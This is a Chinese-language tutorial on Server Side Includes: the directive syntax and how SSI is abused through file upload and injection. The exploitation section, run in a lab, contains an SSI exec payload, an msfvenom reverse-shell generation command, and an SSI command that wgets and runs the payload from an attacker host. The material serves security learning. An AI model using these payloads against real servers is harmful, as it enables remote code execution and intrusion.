0x01 SSI (Server Side Includes)
SSI (Server Side Include),是一种简单的服务器端解释性脚本语言。通过使用 #include
指令将一个或多个文件内容包含到web服务器上的网页中。SSI 还包含了具有条件特征和调用外部程序的控制指令。它被 Apache
, LiteSpeed
, Nginx
, IIS
以及 W3C
的 Jigsaw
所支持。
而为了让web服务器识别 ssi
允许的 html
文件并且执行它的指令,需要和其他后端语言一样,需要规定一个后缀名以识别解析(其默认的后缀名是 .shtml
, .stm
, .shtm
,或者可以在服务器端自行进行配置)。
SSI 具有强大的功能,只要是用一条简单的 ssi 指令就可以实现整个网站的更新,时间日期的动态更新,以及执行 shell
和 CGI
脚本程序等复杂功能。它与 CGI
类似,不同之处在于SSI用于在加载当前页面之前或在页面可视化时候执行某些操作。
0x02 语法 & 指令
1. 语法
SSI 的语法很简单
<!--#directive parameter=value parameter=value -->
伪指令放置在 HTML
注释中。需要注意的就是该语法不允许在 <
和指令之间留空格。而关于 Apache
的 SSI 格式规定中,必须在 -->
之前用空格字符关闭该元素
2. 指令
通用指令
以下是NCSA HTTPd时代以来的 SSI 指令。它们得以所有实现的支持
指令 | 参数 | 描述 | 例子 |
---|---|---|---|
include |
file virtual
|
这可能是最常用的SSI指令,允许一个文档的内容包含于另一个文档中。file 或 virtual 参数指定了要包含的文件(html页面,文本文件,脚本等)。包括另一个文件的内容或运行 CGI 脚本的结果。如果该进程无权限读取文件或执行脚本,则包含将失败。virtual 默认指定根目录,而 file 默认指定当前路径,且应当不采用绝对路径的方式。通常默认禁止跨目录(..)。 |
<!--#include virtual="menu.cgi" --> <!--#include file="footer.html" -->
|
exec |
cgi cmd
|
该伪指令在服务器上执行程序,脚本或 Shell 命令。cmd 参数指定服务器端命令;cgi 参数指定 CGI 脚本的路径。当前 SSI 脚本的 PATH_INFO 和 QUERY_STRING 将会传递给 CGI 脚本,因此应该用 exec cgi 来替代 include virtual 指令。 |
<!--#exec cgi="/cgi-bin/foo.cgi" --> <!--#exec cmd="ls -l" -->
|
echo |
var |
此伪指令显示指定的 HTTP 环境变量 的内容。变量包括 HTTP_USER_AGENT , LAST_MODIFIED 和 HTTP_ACCEPT 。 |
<!-#echo var="REMOTE_ADDR" --> |
config |
timefmt sizefmt errmsg
|
此伪指令为日期、时间、文件大小和错误消息(当 SSI 命令失败时返回)配置显示格式。 |
<!--#config timefmt="%y %m %d" --> <!--#config sizefmt="bytes" --> <!--#config errmsg="SSI command failed!" -->
|
flastmod fsize
|
file virtual
|
这两指令显示指定文档的最后修改日期或指定文档的尺寸。file 参数默认指定当前路径,virtual 默认指定根目录。 |
<!--#flastmod virtual="index.html" --> <!--fsize file="script.pl" -->
|
控制指令
这些指令是在后面添加到 SSI 中的。包括 if-elif-else-endif
流控制以及变量写入等
指令 | 指令 | 描述 | 例子 | 支持的中间件 |
---|---|---|---|---|
if elif else endif
|
expr |
这个就是我们平常的 If-else 语句。 |
<!--#if expr="${Sec_Nav}" --> <!--#include virtual="secondary_nav.txt" --> <!--#elif expr="${Pri_Nav}" --> <!--#include virtual="primary_nav.txt" --> <!--#else --> <!--#include virtual="article.txt" --> <!--#endif -->
|
Everything |
set |
var value
|
设置 SSI 变量值。Apache 提供了附加参数,用于编码。 |
<!--#set var="foo" value="bar" --> |
Apache Nginx
|
printenv |
该指令输出所有 SSI 变量及其值的列表,包括环境变量和用户定义的变量。它没有属性。 | <!--#printenv --> |
Apache |
0x03 利用场景和方式
说了这么多,接下来我们看看利用方式
1、文件上传
本示例采用 MAMP PRO
的集成环境(用的 Apache
) ,首先需要开启 SSI ,具体配置问题可以参考 Apache、Nginx 服务配置服务器端包含(SSI)
在某些环境下,上传点可能限制了我们的上传后缀
我们可以尝试上传 shtml
或 shtm
(当然,如果服务器配置了其他后缀解析的话都可以灵活地进行尝试
1)例如我们此处是一个黑名单过滤,不允许上传 php
的脚本文件
2)此处便可尝试上传 shtml
文件,尝试利用 SSI 漏洞执行命令
3)当然,我们可以直接通过执行的命令来 getshell
2、SSI注入
如果中间件开启了 SSI ,且页面存在 xss 漏洞的话,可以尝试进行 SSI 注入(这里采用了 bwapp
进行测试)
1)测试发现存在xss
2)把 xss
的 payload
替换为 ssi
test<!--#exec cmd="ls -l" -->
3)利用 ssi 反弹 shell
利用msfvemon生成木马
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.101.8 lport=4444 -f raw > shell.py
利用 ssi 远程下载木马
test<!--#exec cmd="wget http://192.168.101.8/shell.py" -->
利用msf获取反弹shell
这里不知为何,wget
到网站当前目录,执行命令弹不回 shell
,下载到 /tmp
目录又是空文件,知道到大佬还请指点下。
这里最后用了一个笨方法,把 msf
生成的 payload
用 echo
命令分段写进 /tmp
目录以后(太长了会报错),再赋予权限
执行命令,成功弹回 shell
t<!--#EXEC cmd="python /tmp/sss.py" -->